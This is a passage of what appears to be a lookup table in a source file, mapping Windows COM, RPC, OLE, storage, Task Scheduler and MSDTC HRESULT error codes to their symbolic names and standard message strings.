0x8001010B: ("RPC_E_SERVERCALL_REJECTED", "The message filter rejected the call."),
0x8001010C: ("RPC_E_INVALID_CALLDATA", "A call control interface was called with invalid data."),
0x8001010D: ("RPC_E_CANTCALLOUT_ININPUTSYNCCALL", "An outgoing call cannot be made because the application is dispatching an input-synchronous call."),
0x8001010E: ("RPC_E_WRONG_THREAD", "The application called an interface that was marshaled for a different thread."),
0x8001010F: ("RPC_E_THREAD_NOT_INIT", "CoInitialize has not been called on the current thread."),
0x80010110: ("RPC_E_VERSION_MISMATCH", "The version of OLE on the client and server machines does not match."),
0x80010111: ("RPC_E_INVALID_HEADER", "OLE received a packet with an invalid header."),
0x80010112: ("RPC_E_INVALID_EXTENSION", "OLE received a packet with an invalid extension."),
0x80010113: ("RPC_E_INVALID_IPID", "The requested object or interface does not exist."),
0x80010114: ("RPC_E_INVALID_OBJECT", "The requested object does not exist."),
0x80010115: ("RPC_S_CALLPENDING", "OLE has sent a request and is waiting for a reply."),
0x80010116: ("RPC_S_WAITONTIMER", "OLE is waiting before retrying a request."),
0x80010117: ("RPC_E_CALL_COMPLETE", "Call context cannot be accessed after call completed."),
0x80010118: ("RPC_E_UNSECURE_CALL", "Impersonate on unsecure calls is not supported."),
0x80010119: ("RPC_E_TOO_LATE", "Security must be initialized before any interfaces are marshaled or unmarshaled. It cannot be changed after initialized."),
0x8001011A: ("RPC_E_NO_GOOD_SECURITY_PACKAGES", "No security packages are installed on this machine, the user is not logged on, or there are no compatible security packages between the client and server."),
0x8001011B: ("RPC_E_ACCESS_DENIED", "Access is denied."),
0x8001011C: ("RPC_E_REMOTE_DISABLED", "Remote calls are not allowed for this process."),
0x8001011D: ("RPC_E_INVALID_OBJREF", "The marshaled interface data packet (OBJREF) has an invalid or unknown format."),
0x8001011E: ("RPC_E_NO_CONTEXT", "No context is associated with this call. This happens for some custom marshaled calls and on the client side of the call."),
0x8001011F: ("RPC_E_TIMEOUT", "This operation returned because the time-out period expired."),
0x80010120: ("RPC_E_NO_SYNC", "There are no synchronize objects to wait on."),
0x80010121: ("RPC_E_FULLSIC_REQUIRED", "Full subject issuer chain Secure Sockets Layer (SSL) principal name expected from the server."),
0x80010122: ("RPC_E_INVALID_STD_NAME", "Principal name is not a valid Microsoft standard (msstd) name."),
0x80010123: ("CO_E_FAILEDTOIMPERSONATE", "Unable to impersonate DCOM client."),
0x80010124: ("CO_E_FAILEDTOGETSECCTX", "Unable to obtain server's security context."),
0x80010125: ("CO_E_FAILEDTOOPENTHREADTOKEN", "Unable to open the access token of the current thread."),
0x80010126: ("CO_E_FAILEDTOGETTOKENINFO", "Unable to obtain user information from an access token."),
0x80010127: ("CO_E_TRUSTEEDOESNTMATCHCLIENT", "The client who called IAccessControl::IsAccessPermitted was not the trustee provided to the method."),
0x80010128: ("CO_E_FAILEDTOQUERYCLIENTBLANKET", "Unable to obtain the client's security blanket."),
0x80010129: ("CO_E_FAILEDTOSETDACL", "Unable to set a discretionary access control list (ACL) into a security descriptor."),
0x8001012A: ("CO_E_ACCESSCHECKFAILED", "The system function AccessCheck returned false."),
0x8001012B: ("CO_E_NETACCESSAPIFAILED", "Either NetAccessDel or NetAccessAdd returned an error code."),
0x8001012C: ("CO_E_WRONGTRUSTEENAMESYNTAX", "One of the trustee strings provided by the user did not conform to the \ syntax and it was not the *\" string\"."),
0x8001012D: ("CO_E_INVALIDSID", "One of the security identifiers provided by the user was invalid."),
0x8001012E: ("CO_E_CONVERSIONFAILED", "Unable to convert a wide character trustee string to a multiple-byte trustee string."),
0x8001012F: ("CO_E_NOMATCHINGSIDFOUND", "Unable to find a security identifier that corresponds to a trustee string provided by the user."),
0x80010130: ("CO_E_LOOKUPACCSIDFAILED", "The system function LookupAccountSID failed."),
0x80010131: ("CO_E_NOMATCHINGNAMEFOUND", "Unable to find a trustee name that corresponds to a security identifier provided by the user."),
0x80010132: ("CO_E_LOOKUPACCNAMEFAILED", "The system function LookupAccountName failed."),
0x80010133: ("CO_E_SETSERLHNDLFAILED", "Unable to set or reset a serialization handle."),
0x80010134: ("CO_E_FAILEDTOGETWINDIR", "Unable to obtain the Windows directory."),
0x80010135: ("CO_E_PATHTOOLONG", "Path too long."),
0x80010136: ("CO_E_FAILEDTOGENUUID", "Unable to generate a UUID."),
0x80010137: ("CO_E_FAILEDTOCREATEFILE", "Unable to create file."),
0x80010138: ("CO_E_FAILEDTOCLOSEHANDLE", "Unable to close a serialization handle or a file handle."),
0x80010139: ("CO_E_EXCEEDSYSACLLIMIT", "The number of access control entries (ACEs) in an ACL exceeds the system limit."),
0x8001013A: ("CO_E_ACESINWRONGORDER", "Not all the DENY_ACCESS ACEs are arranged in front of the GRANT_ACCESS ACEs in the stream."),
0x8001013B: ("CO_E_INCOMPATIBLESTREAMVERSION", "The version of ACL format in the stream is not supported by this implementation of IAccessControl."),
0x8001013C: ("CO_E_FAILEDTOOPENPROCESSTOKEN", "Unable to open the access token of the server process."),
0x8001013D: ("CO_E_DECODEFAILED", "Unable to decode the ACL in the stream provided by the user."),
0x8001013F: ("CO_E_ACNOTINITIALIZED", "The COM IAccessControl object is not initialized."),
0x80010140: ("CO_E_CANCEL_DISABLED", "Call Cancellation is disabled."),
0x8001FFFF: ("RPC_E_UNEXPECTED", "An internal error occurred."),
0x80020001: ("DISP_E_UNKNOWNINTERFACE", "Unknown interface."),
0x80020003: ("DISP_E_MEMBERNOTFOUND", "Member not found."),
0x80020004: ("DISP_E_PARAMNOTFOUND", "Parameter not found."),
0x80020005: ("DISP_E_TYPEMISMATCH", "Type mismatch."),
0x80020006: ("DISP_E_UNKNOWNNAME", "Unknown name."),
0x80020007: ("DISP_E_NONAMEDARGS", "No named arguments."),
0x80020008: ("DISP_E_BADVARTYPE", "Bad variable type."),
0x80020009: ("DISP_E_EXCEPTION", "Exception occurred."),
0x8002000A: ("DISP_E_OVERFLOW", "Out of present range."),
0x8002000B: ("DISP_E_BADINDEX", "Invalid index."),
0x8002000C: ("DISP_E_UNKNOWNLCID", "Unknown language."),
0x8002000D: ("DISP_E_ARRAYISLOCKED", "Memory is locked."),
0x8002000E: ("DISP_E_BADPARAMCOUNT", "Invalid number of parameters."),
0x8002000F: ("DISP_E_PARAMNOTOPTIONAL", "Parameter not optional."),
0x80020010: ("DISP_E_BADCALLEE", "Invalid callee."),
0x80020011: ("DISP_E_NOTACOLLECTION", "Does not support a collection."),
0x80020012: ("DISP_E_DIVBYZERO", "Division by zero."),
0x80020013: ("DISP_E_BUFFERTOOSMALL", "Buffer too small."),
0x80028016: ("TYPE_E_BUFFERTOOSMALL", "Buffer too small."),
0x80028017: ("TYPE_E_FIELDNOTFOUND", "Field name not defined in the record."),
0x80028018: ("TYPE_E_INVDATAREAD", "Old format or invalid type library."),
0x80028019: ("TYPE_E_UNSUPFORMAT", "Old format or invalid type library."),
0x8002801C: ("TYPE_E_REGISTRYACCESS", "Error accessing the OLE registry."),
0x8002801D: ("TYPE_E_LIBNOTREGISTERED", "Library not registered."),
0x80028027: ("TYPE_E_UNDEFINEDTYPE", "Bound to unknown type."),
0x80028028: ("TYPE_E_QUALIFIEDNAMEDISALLOWED", "Qualified name disallowed."),
0x80028029: ("TYPE_E_INVALIDSTATE", "Invalid forward reference, or reference to uncompiled type."),
0x8002802A: ("TYPE_E_WRONGTYPEKIND", "Type mismatch."),
0x8002802B: ("TYPE_E_ELEMENTNOTFOUND", "Element not found."),
0x8002802C: ("TYPE_E_AMBIGUOUSNAME", "Ambiguous name."),
0x8002802D: ("TYPE_E_NAMECONFLICT", "Name already exists in the library."),
0x8002802E: ("TYPE_E_UNKNOWNLCID", "Unknown language code identifier (LCID)."),
0x8002802F: ("TYPE_E_DLLFUNCTIONNOTFOUND", "Function not defined in specified DLL."),
0x800288BD: ("TYPE_E_BADMODULEKIND", "Wrong module kind for the operation."),
0x800288C5: ("TYPE_E_SIZETOOBIG", "Size may not exceed 64 KB."),
0x800288C6: ("TYPE_E_DUPLICATEID", "Duplicate ID in inheritance hierarchy."),
0x800288CF: ("TYPE_E_INVALIDID", "Incorrect inheritance depth in standard OLE hmember."),
0x80028CA0: ("TYPE_E_TYPEMISMATCH", "Type mismatch."),
0x80028CA1: ("TYPE_E_OUTOFBOUNDS", "Invalid number of arguments."),
0x80028CA2: ("TYPE_E_IOERROR", "I/O error."),
0x80028CA3: ("TYPE_E_CANTCREATETMPFILE", "Error creating unique .tmp file."),
0x80029C4A: ("TYPE_E_CANTLOADLIBRARY", "Error loading type library or DLL."),
0x80029C83: ("TYPE_E_INCONSISTENTPROPFUNCS", "Inconsistent property functions."),
0x80029C84: ("TYPE_E_CIRCULARTYPE", "Circular dependency between types and modules."),
0x80030001: ("STG_E_INVALIDFUNCTION", "Unable to perform requested operation."),
0x80030002: ("STG_E_FILENOTFOUND", "%1 could not be found."),
0x80030003: ("STG_E_PATHNOTFOUND", "The path %1 could not be found."),
0x80030004: ("STG_E_TOOMANYOPENFILES", "There are insufficient resources to open another file."),
0x80030005: ("STG_E_ACCESSDENIED", "Access denied."),
0x80030006: ("STG_E_INVALIDHANDLE", "Attempted an operation on an invalid object."),
0x80030008: ("STG_E_INSUFFICIENTMEMORY", "There is insufficient memory available to complete operation."),
0x80030009: ("STG_E_INVALIDPOINTER", "Invalid pointer error."),
0x80030012: ("STG_E_NOMOREFILES", "There are no more entries to return."),
0x80030013: ("STG_E_DISKISWRITEPROTECTED", "Disk is write-protected."),
0x80030019: ("STG_E_SEEKERROR", "An error occurred during a seek operation."),
0x8003001D: ("STG_E_WRITEFAULT", "A disk error occurred during a write operation."),
0x8003001E: ("STG_E_READFAULT", "A disk error occurred during a read operation."),
0x80030020: ("STG_E_SHAREVIOLATION", "A share violation has occurred."),
0x80030021: ("STG_E_LOCKVIOLATION", "A lock violation has occurred."),
0x80030050: ("STG_E_FILEALREADYEXISTS", "%1 already exists."),
0x80030057: ("STG_E_INVALIDPARAMETER", "Invalid parameter error."),
0x80030070: ("STG_E_MEDIUMFULL", "There is insufficient disk space to complete operation."),
0x800300F0: ("STG_E_PROPSETMISMATCHED", "Illegal write of non-simple property to simple property set."),
0x800300FA: ("STG_E_ABNORMALAPIEXIT", "An application programming interface (API) call exited abnormally."),
0x800300FB: ("STG_E_INVALIDHEADER", "The file %1 is not a valid compound file."),
0x800300FC: ("STG_E_INVALIDNAME", "The name %1 is not valid."),
0x800300FD: ("STG_E_UNKNOWN", "An unexpected error occurred."),
0x800300FE: ("STG_E_UNIMPLEMENTEDFUNCTION", "That function is not implemented."),
0x800300FF: ("STG_E_INVALIDFLAG", "Invalid flag error."),
0x80030100: ("STG_E_INUSE", "Attempted to use an object that is busy."),
0x80030101: ("STG_E_NOTCURRENT", "The storage has been changed since the last commit."),
0x80030102: ("STG_E_REVERTED", "Attempted to use an object that has ceased to exist."),
0x80030103: ("STG_E_CANTSAVE", "Cannot save."),
0x80030104: ("STG_E_OLDFORMAT", "The compound file %1 was produced with an incompatible version of storage."),
0x80030105: ("STG_E_OLDDLL", "The compound file %1 was produced with a newer version of storage."),
0x80030106: ("STG_E_SHAREREQUIRED", "Share.exe or equivalent is required for operation."),
0x80030107: ("STG_E_NOTFILEBASEDSTORAGE", "Illegal operation called on non-file based storage."),
0x80030108: ("STG_E_EXTANTMARSHALLINGS", "Illegal operation called on object with extant marshalings."),
0x80030109: ("STG_E_DOCFILECORRUPT", "The docfile has been corrupted."),
0x80030110: ("STG_E_BADBASEADDRESS", "OLE32.DLL has been loaded at the wrong address."),
0x80030111: ("STG_E_DOCFILETOOLARGE", "The compound file is too large for the current implementation."),
0x80030112: ("STG_E_NOTSIMPLEFORMAT", "The compound file was not created with the STGM_SIMPLE flag."),
0x80030201: ("STG_E_INCOMPLETE", "The file download was aborted abnormally. The file is incomplete."),
0x80030202: ("STG_E_TERMINATED", "The file download has been terminated."),
0x80030305: ("STG_E_STATUS_COPY_PROTECTION_FAILURE", "Generic Copy Protection Error."),
0x80030306: ("STG_E_CSS_AUTHENTICATION_FAILURE", "Copy Protection Error-DVD CSS Authentication failed."),
0x80030307: ("STG_E_CSS_KEY_NOT_PRESENT", "Copy Protection Error-The given sector does not have a valid CSS key."),
0x80030308: ("STG_E_CSS_KEY_NOT_ESTABLISHED", "Copy Protection Error-DVD session key not established."),
0x80030309: ("STG_E_CSS_SCRAMBLED_SECTOR", "Copy Protection Error-The read failed because the sector is encrypted."),
0x8003030A: ("STG_E_CSS_REGION_MISMATCH", "Copy Protection Error-The current DVD's region does not correspond to the region setting of the drive."),
0x8003030B: ("STG_E_RESETS_EXHAUSTED", "Copy Protection Error-The drive's region setting may be permanent or the number of user resets has been exhausted."),
0x80040000: ("OLE_E_OLEVERB", "Invalid OLEVERB structure."),
0x80040001: ("OLE_E_ADVF", "Invalid advise flags."),
0x80040002: ("OLE_E_ENUM_NOMORE", "Cannot enumerate any more because the associated data is missing."),
0x80040003: ("OLE_E_ADVISENOTSUPPORTED", "This implementation does not take advises."),
0x80040004: ("OLE_E_NOCONNECTION", "There is no connection for this connection ID."),
0x80040005: ("OLE_E_NOTRUNNING", "Need to run the object to perform this operation."),
0x80040006: ("OLE_E_NOCACHE", "There is no cache to operate on."),
0x80040007: ("OLE_E_BLANK", "Uninitialized object."),
0x80040008: ("OLE_E_CLASSDIFF", "Linked object's source class has changed."),
0x80040009: ("OLE_E_CANT_GETMONIKER", "Not able to get the moniker of the object."),
0x8004000A: ("OLE_E_CANT_BINDTOSOURCE", "Not able to bind to the source."),
0x8004000B: ("OLE_E_STATIC", "Object is static; operation not allowed."),
0x8004000C: ("OLE_E_PROMPTSAVECANCELLED", "User canceled out of the Save dialog box."),
0x8004000D: ("OLE_E_INVALIDRECT", "Invalid rectangle."),
0x8004000E: ("OLE_E_WRONGCOMPOBJ", "compobj.dll is too old for the ole2.dll initialized."),
0x8004000F: ("OLE_E_INVALIDHWND", "Invalid window handle."),
0x80040010: ("OLE_E_NOT_INPLACEACTIVE", "Object is not in any of the inplace active states."),
0x80040011: ("OLE_E_CANTCONVERT", "Not able to convert object."),
0x80040012: ("OLE_E_NOSTORAGE", "Not able to perform the operation because object is not given storage yet."),
0x80040064: ("DV_E_FORMATETC", "Invalid FORMATETC structure."),
0x80040065: ("DV_E_DVTARGETDEVICE", "Invalid DVTARGETDEVICE structure."),
0x80040066: ("DV_E_STGMEDIUM", "Invalid STDGMEDIUM structure."),
0x80040067: ("DV_E_STATDATA", "Invalid STATDATA structure."),
0x80040068: ("DV_E_LINDEX", "Invalid lindex."),
0x80040069: ("DV_E_TYMED", "Invalid TYMED structure."),
0x8004006A: ("DV_E_CLIPFORMAT", "Invalid clipboard format."),
0x8004006B: ("DV_E_DVASPECT", "Invalid aspects."),
0x8004006C: ("DV_E_DVTARGETDEVICE_SIZE", "The tdSize parameter of the DVTARGETDEVICE structure is invalid."),
0x8004006D: ("DV_E_NOIVIEWOBJECT", "Object does not support IViewObject interface."),
0x80040100: ("DRAGDROP_E_NOTREGISTERED", "Trying to revoke a drop target that has not been registered."),
0x80040101: ("DRAGDROP_E_ALREADYREGISTERED", "This window has already been registered as a drop target."),
0x80040102: ("DRAGDROP_E_INVALIDHWND", "Invalid window handle."),
0x80040110: ("CLASS_E_NOAGGREGATION", "Class does not support aggregation (or class object is remote)."),
0x80040111: ("CLASS_E_CLASSNOTAVAILABLE", "ClassFactory cannot supply requested class."),
0x80040112: ("CLASS_E_NOTLICENSED", "Class is not licensed for use."),
0x80040140: ("VIEW_E_DRAW", "Error drawing view."),
0x80040150: ("REGDB_E_READREGDB", "Could not read key from registry."),
0x80040151: ("REGDB_E_WRITEREGDB", "Could not write key to registry."),
0x80040152: ("REGDB_E_KEYMISSING", "Could not find the key in the registry."),
0x80040153: ("REGDB_E_INVALIDVALUE", "Invalid value for registry."),
0x80040154: ("REGDB_E_CLASSNOTREG", "Class not registered."),
0x80040155: ("REGDB_E_IIDNOTREG", "Interface not registered."),
0x80040156: ("REGDB_E_BADTHREADINGMODEL", "Threading model entry is not valid."),
0x80040160: ("CAT_E_CATIDNOEXIST", "CATID does not exist."),
0x80040161: ("CAT_E_NODESCRIPTION", "Description not found."),
0x80040164: ("CS_E_PACKAGE_NOTFOUND", "No package in the software installation data in Active Directory meets this criteria."),
0x80040165: ("CS_E_NOT_DELETABLE", "Deleting this will break the referential integrity of the software installation data in Active Directory."),
0x80040166: ("CS_E_CLASS_NOTFOUND", "The CLSID was not found in the software installation data in Active Directory."),
0x80040167: ("CS_E_INVALID_VERSION", "The software installation data in Active Directory is corrupt."),
0x80040168: ("CS_E_NO_CLASSSTORE", "There is no software installation data in Active Directory."),
0x80040169: ("CS_E_OBJECT_NOTFOUND", "There is no software installation data object in Active Directory."),
0x8004016A: ("CS_E_OBJECT_ALREADY_EXISTS", "The software installation data object in Active Directory already exists."),
0x8004016B: ("CS_E_INVALID_PATH", "The path to the software installation data in Active Directory is not correct."),
0x8004016C: ("CS_E_NETWORK_ERROR", "A network error interrupted the operation."),
0x8004016D: ("CS_E_ADMIN_LIMIT_EXCEEDED", "The size of this object exceeds the maximum size set by the administrator."),
0x8004016E: ("CS_E_SCHEMA_MISMATCH", "The schema for the software installation data in Active Directory does not match the required schema."),
0x8004016F: ("CS_E_INTERNAL_ERROR", "An error occurred in the software installation data in Active Directory."),
0x80040170: ("CACHE_E_NOCACHE_UPDATED", "Cache not updated."),
0x80040180: ("OLEOBJ_E_NOVERBS", "No verbs for OLE object."),
0x80040181: ("OLEOBJ_E_INVALIDVERB", "Invalid verb for OLE object."),
0x800401A0: ("INPLACE_E_NOTUNDOABLE", "Undo is not available."),
0x800401A1: ("INPLACE_E_NOTOOLSPACE", "Space for tools is not available."),
0x800401C0: ("CONVERT10_E_OLESTREAM_GET", "OLESTREAM Get method failed."),
0x800401C1: ("CONVERT10_E_OLESTREAM_PUT", "OLESTREAM Put method failed."),
0x800401C2: ("CONVERT10_E_OLESTREAM_FMT", "Contents of the OLESTREAM not in correct format."),
0x800401C3: ("CONVERT10_E_OLESTREAM_BITMAP_TO_DIB", "There was an error in a Windows GDI call while converting the bitmap to a device-independent bitmap (DIB)."),
0x800401C4: ("CONVERT10_E_STG_FMT", "Contents of the IStorage not in correct format."),
0x800401C5: ("CONVERT10_E_STG_NO_STD_STREAM", "Contents of IStorage is missing one of the standard streams."),
0x800401C6: ("CONVERT10_E_STG_DIB_TO_BITMAP", "There was an error in a Windows Graphics Device Interface (GDI) call while converting the DIB to a bitmap."),
0x800401D0: ("CLIPBRD_E_CANT_OPEN", "OpenClipboard failed."),
0x800401D1: ("CLIPBRD_E_CANT_EMPTY", "EmptyClipboard failed."),
0x800401D2: ("CLIPBRD_E_CANT_SET", "SetClipboard failed."),
0x800401D3: ("CLIPBRD_E_BAD_DATA", "Data on clipboard is invalid."),
0x800401D4: ("CLIPBRD_E_CANT_CLOSE", "CloseClipboard failed."),
0x800401E0: ("MK_E_CONNECTMANUALLY", "Moniker needs to be connected manually."),
0x800401E1: ("MK_E_EXCEEDEDDEADLINE", "Operation exceeded deadline."),
0x800401E2: ("MK_E_NEEDGENERIC", "Moniker needs to be generic."),
0x800401E3: ("MK_E_UNAVAILABLE", "Operation unavailable."),
0x800401E4: ("MK_E_SYNTAX", "Invalid syntax."),
0x800401E5: ("MK_E_NOOBJECT", "No object for moniker."),
0x800401E6: ("MK_E_INVALIDEXTENSION", "Bad extension for file."),
0x800401E7: ("MK_E_INTERMEDIATEINTERFACENOTSUPPORTED", "Intermediate operation failed."),
0x800401E8: ("MK_E_NOTBINDABLE", "Moniker is not bindable."),
0x800401E9: ("MK_E_NOTBOUND", "Moniker is not bound."),
0x800401EA: ("MK_E_CANTOPENFILE", "Moniker cannot open file."),
0x800401EB: ("MK_E_MUSTBOTHERUSER", "User input required for operation to succeed."),
0x800401EC: ("MK_E_NOINVERSE", "Moniker class has no inverse."),
0x800401ED: ("MK_E_NOSTORAGE", "Moniker does not refer to storage."),
0x800401EE: ("MK_E_NOPREFIX", "No common prefix."),
0x800401EF: ("MK_E_ENUMERATION_FAILED", "Moniker could not be enumerated."),
0x800401F0: ("CO_E_NOTINITIALIZED", "CoInitialize has not been called."),
0x800401F1: ("CO_E_ALREADYINITIALIZED", "CoInitialize has already been called."),
0x800401F2: ("CO_E_CANTDETERMINECLASS", "Class of object cannot be determined."),
0x800401F3: ("CO_E_CLASSSTRING", "Invalid class string."),
0x800401F4: ("CO_E_IIDSTRING", "Invalid interface string."),
0x800401F5: ("CO_E_APPNOTFOUND", "Application not found."),
0x800401F6: ("CO_E_APPSINGLEUSE", "Application cannot be run more than once."),
0x800401F7: ("CO_E_ERRORINAPP", "Some error in application."),
0x800401F8: ("CO_E_DLLNOTFOUND", "DLL for class not found."),
0x800401F9: ("CO_E_ERRORINDLL", "Error in the DLL."),
0x800401FA: ("CO_E_WRONGOSFORAPP", "Wrong operating system or operating system version for application."),
0x800401FB: ("CO_E_OBJNOTREG", "Object is not registered."),
0x800401FC: ("CO_E_OBJISREG", "Object is already registered."),
0x800401FD: ("CO_E_OBJNOTCONNECTED", "Object is not connected to server."),
0x800401FE: ("CO_E_APPDIDNTREG", "Application was launched, but it did not register a class factory."),
0x800401FF: ("CO_E_RELEASED", "Object has been released."),
0x80040201: ("EVENT_E_ALL_SUBSCRIBERS_FAILED", "An event was unable to invoke any of the subscribers."),
0x80040203: ("EVENT_E_QUERYSYNTAX", "A syntax error occurred trying to evaluate a query string."),
0x80040204: ("EVENT_E_QUERYFIELD", "An invalid field name was used in a query string."),
0x80040205: ("EVENT_E_INTERNALEXCEPTION", "An unexpected exception was raised."),
0x80040206: ("EVENT_E_INTERNALERROR", "An unexpected internal error was detected."),
0x80040207: ("EVENT_E_INVALID_PER_USER_SID", "The owner security identifier (SID) on a per-user subscription does not exist."),
0x80040208: ("EVENT_E_USER_EXCEPTION", "A user-supplied component or subscriber raised an exception."),
0x80040209: ("EVENT_E_TOO_MANY_METHODS", "An interface has too many methods to fire events from."),
0x8004020A: ("EVENT_E_MISSING_EVENTCLASS", "A subscription cannot be stored unless its event class already exists."),
0x8004020B: ("EVENT_E_NOT_ALL_REMOVED", "Not all the objects requested could be removed."),
0x8004020C: ("EVENT_E_COMPLUS_NOT_INSTALLED", "COM+ is required for this operation, but it is not installed."),
0x8004020D: ("EVENT_E_CANT_MODIFY_OR_DELETE_UNCONFIGURED_OBJECT", "Cannot modify or delete an object that was not added using the COM+ Administrative SDK."),
0x8004020E: ("EVENT_E_CANT_MODIFY_OR_DELETE_CONFIGURED_OBJECT", "Cannot modify or delete an object that was added using the COM+ Administrative SDK."),
0x8004020F: ("EVENT_E_INVALID_EVENT_CLASS_PARTITION", "The event class for this subscription is in an invalid partition."),
0x80040210: ("EVENT_E_PER_USER_SID_NOT_LOGGED_ON", "The owner of the PerUser subscription is not logged on to the system specified."),
0x80041309: ("SCHED_E_TRIGGER_NOT_FOUND", "Trigger not found."),
0x8004130A: ("SCHED_E_TASK_NOT_READY", "One or more of the properties that are needed to run this task have not been set."),
0x8004130B: ("SCHED_E_TASK_NOT_RUNNING", "There is no running instance of the task."),
0x8004130C: ("SCHED_E_SERVICE_NOT_INSTALLED", "The Task Scheduler service is not installed on this computer."),
0x8004130D: ("SCHED_E_CANNOT_OPEN_TASK", "The task object could not be opened."),
0x8004130E: ("SCHED_E_INVALID_TASK", "The object is either an invalid task object or is not a task object."),
0x8004130F: ("SCHED_E_ACCOUNT_INFORMATION_NOT_SET", "No account information could be found in the Task Scheduler security database for the task indicated."),
0x80041310: ("SCHED_E_ACCOUNT_NAME_NOT_FOUND", "Unable to establish existence of the account specified."),
0x80041311: ("SCHED_E_ACCOUNT_DBASE_CORRUPT", "Corruption was detected in the Task Scheduler security database; the database has been reset."),
0x80041312: ("SCHED_E_NO_SECURITY_SERVICES", "Task Scheduler security services are available only on Windows NT."),
0x80041313: ("SCHED_E_UNKNOWN_OBJECT_VERSION", "The task object version is either unsupported or invalid."),
0x80041314: ("SCHED_E_UNSUPPORTED_ACCOUNT_OPTION", "The task has been configured with an unsupported combination of account settings and run-time options."),
0x80041315: ("SCHED_E_SERVICE_NOT_RUNNING", "The Task Scheduler service is not running."),
0x80041316: ("SCHED_E_UNEXPECTEDNODE", "The task XML contains an unexpected node."),
0x80041317: ("SCHED_E_NAMESPACE", "The task XML contains an element or attribute from an unexpected namespace."),
0x80041318: ("SCHED_E_INVALIDVALUE", "The task XML contains a value that is incorrectly formatted or out of range."),
0x80041319: ("SCHED_E_MISSINGNODE", "The task XML is missing a required element or attribute."),
0x8004131A: ("SCHED_E_MALFORMEDXML", "The task XML is malformed."),
0x8004131D: ("SCHED_E_TOO_MANY_NODES", "The task XML contains too many nodes of the same type."),
0x8004131E: ("SCHED_E_PAST_END_BOUNDARY", "The task cannot be started after the trigger's end boundary."),
0x8004131F: ("SCHED_E_ALREADY_RUNNING", "An instance of this task is already running."),
0x80041320: ("SCHED_E_USER_NOT_LOGGED_ON", "The task will not run because the user is not logged on."),
0x80041321: ("SCHED_E_INVALID_TASK_HASH", "The task image is corrupt or has been tampered with."),
0x80041322: ("SCHED_E_SERVICE_NOT_AVAILABLE", "The Task Scheduler service is not available."),
0x80041323: ("SCHED_E_SERVICE_TOO_BUSY", "The Task Scheduler service is too busy to handle your request. Try again later."),
0x80041324: ("SCHED_E_TASK_ATTEMPTED", "The Task Scheduler service attempted to run the task, but the task did not run due to one of the constraints in the task definition."),
0x8004D000: ("XACT_E_ALREADYOTHERSINGLEPHASE", "Another single phase resource manager has already been enlisted in this transaction."),
0x8004D001: ("XACT_E_CANTRETAIN", "A retaining commit or abort is not supported."),
0x8004D002: ("XACT_E_COMMITFAILED", "The transaction failed to commit for an unknown reason. The transaction was aborted."),
0x8004D003: ("XACT_E_COMMITPREVENTED", "Cannot call commit on this transaction object because the calling application did not initiate the transaction."),
0x8004D004: ("XACT_E_HEURISTICABORT", "Instead of committing, the resource heuristically aborted."),
0x8004D005: ("XACT_E_HEURISTICCOMMIT", "Instead of aborting, the resource heuristically committed."),
0x8004D006: ("XACT_E_HEURISTICDAMAGE", "Some of the states of the resource were committed while others were aborted, likely because of heuristic decisions."),
0x8004D007: ("XACT_E_HEURISTICDANGER", "Some of the states of the resource may have been committed while others may have been aborted, likely because of heuristic decisions."),
0x8004D008: ("XACT_E_ISOLATIONLEVEL", "The requested isolation level is not valid or supported."),
0x8004D009: ("XACT_E_NOASYNC", "The transaction manager does not support an asynchronous operation for this method."),
0x8004D00A: ("XACT_E_NOENLIST", "Unable to enlist in the transaction."),
0x8004D00B: ("XACT_E_NOISORETAIN", "The requested semantics of retention of isolation across retaining commit and abort boundaries cannot be supported by this transaction implementation, or isoFlags was not equal to 0."),
0x8004D00C: ("XACT_E_NORESOURCE", "There is no resource presently associated with this enlistment."),
0x8004D00D: ("XACT_E_NOTCURRENT", "The transaction failed to commit due to the failure of optimistic concurrency control in at least one of the resource managers."),
0x8004D00E: ("XACT_E_NOTRANSACTION", "The transaction has already been implicitly or explicitly committed or aborted."),
0x8004D00F: ("XACT_E_NOTSUPPORTED", "An invalid combination of flags was specified."),
0x8004D010: ("XACT_E_UNKNOWNRMGRID", "The resource manager ID is not associated with this transaction or the transaction manager."),
0x8004D011: ("XACT_E_WRONGSTATE", "This method was called in the wrong state."),
0x8004D012: ("XACT_E_WRONGUOW", "The indicated unit of work does not match the unit of work expected by the resource manager."),
0x8004D013: ("XACT_E_XTIONEXISTS", "An enlistment in a transaction already exists."),
0x8004D014: ("XACT_E_NOIMPORTOBJECT", "An import object for the transaction could not be found."),
0x8004D015: ("XACT_E_INVALIDCOOKIE", "The transaction cookie is invalid."),
0x8004D016: ("XACT_E_INDOUBT", "The transaction status is in doubt. A communication failure occurred, or a transaction manager or resource manager has failed."),
0x8004D017: ("XACT_E_NOTIMEOUT", "A time-out was specified, but time-outs are not supported."),
0x8004D018: ("XACT_E_ALREADYINPROGRESS", "The requested operation is already in progress for the transaction."),
0x8004D019: ("XACT_E_ABORTED", "The transaction has already been aborted."),
0x8004D01A: ("XACT_E_LOGFULL", "The Transaction Manager returned a log full error."),
0x8004D01B: ("XACT_E_TMNOTAVAILABLE", "The transaction manager is not available."),
0x8004D01C: ("XACT_E_CONNECTION_DOWN", "A connection with the transaction manager was lost."),
0x8004D01D: ("XACT_E_CONNECTION_DENIED", "A request to establish a connection with the transaction manager was denied."),
0x8004D01E: ("XACT_E_REENLISTTIMEOUT", "Resource manager reenlistment to determine transaction status timed out."),
0x8004D01F: ("XACT_E_TIP_CONNECT_FAILED", "The transaction manager failed to establish a connection with another Transaction Internet Protocol (TIP) transaction manager."),
0x8004D020: ("XACT_E_TIP_PROTOCOL_ERROR", "The transaction manager encountered a protocol error with another TIP transaction manager."),
0x8004D021: ("XACT_E_TIP_PULL_FAILED", "The transaction manager could not propagate a transaction from another TIP transaction manager."),
0x8004D022: ("XACT_E_DEST_TMNOTAVAILABLE", "The transaction manager on the destination machine is not available."),
0x8004D023: ("XACT_E_TIP_DISABLED", "The transaction manager has disabled its support for TIP."),
0x8004D024: ("XACT_E_NETWORK_TX_DISABLED", "The transaction manager has disabled its support for remote or network transactions."),
0x8004D025: ("XACT_E_PARTNER_NETWORK_TX_DISABLED", "The partner transaction manager has disabled its support for remote or network transactions."),
0x8004D026: ("XACT_E_XA_TX_DISABLED", "The transaction manager has disabled its support for XA transactions."),
0x8004D027: ("XACT_E_UNABLE_TO_READ_DTC_CONFIG", "Microsoft Distributed Transaction Coordinator (MSDTC) was unable to read its configuration information."),
0x8004D028: ("XACT_E_UNABLE_TO_LOAD_DTC_PROXY", "MSDTC was unable to load the DTC proxy DLL."),
0x8004D029: ("XACT_E_ABORTING", "The local transaction has aborted."),
